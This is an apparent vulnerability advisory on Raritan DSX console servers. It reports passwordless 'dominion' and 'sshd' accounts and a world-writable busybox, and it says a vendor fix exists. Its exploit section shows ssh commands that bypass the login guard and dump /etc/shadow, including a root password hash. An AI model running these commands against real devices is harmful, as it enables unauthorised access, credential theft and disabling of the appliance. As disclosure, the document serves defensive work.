Access right escalation / severe permission problems on Raritan Console Servers

[spam () drwetter org]

Hi,

during my research on console servers I've encountered a severe problem on one appliance.

Summary:
Access right escalation / severe permission problems on Raritan Console Servers

Confirmed on DSX32, Software version: 2.4.6
www.raritan.com, more see below

Details:
DSX Raritan Console Servers come with two accounts not having a password. They are "protected" by "exit" in ~/.profile. 
Users normally is not supposed to get access to the underlying Linux.
DES encrypted root passwd is easily retrievable from the network without providing credentials. Also the machine can be 
rendered useless by moving the busybox binary.

Vulnerable Versions:
Vendor Confirmation for DSX16, DSX32, DSX4, DSX8, DSXA-48 (Mips and Intel).


Patches/Workarounds:
After reporting it to Raritan a fix was released:
http://www.raritan.com/support/sup_upgrades.aspx

Exploit:
%ssh dominion@<ip> ls -l /
[..shows listing..]
%ssh dominion@<ip> ls -ln /etc/shadow
-rw-r--r--    1 0     0           360 Jun 28 05:09 /etc/shadow
%ssh dominion@<ip> cat /etc/shadow
root:DX8k7w4C2gJ2g:10933:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
dominion::12962:0:99999:7:::
sshd::12962:0:99999:7:::
%ssh dominion@<ip> cat /etc/passwd | tail -2
dominion:x:500:500:Embedix User,,,:/home/dominion:/bin/sh
sshd:x:501:501:Embedix User,,,:/home/sshd:/bin/sh
%ssh sshd@<ip> ls
indexApp.htm
%ssh sshd@<ip> ls -l /bin/busybox
-rwxrwxrwx    1 root     root        193852 Apr  4  2004 /bin/busybox


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Dr. Dirk Wetter                                  http://drwetter.org
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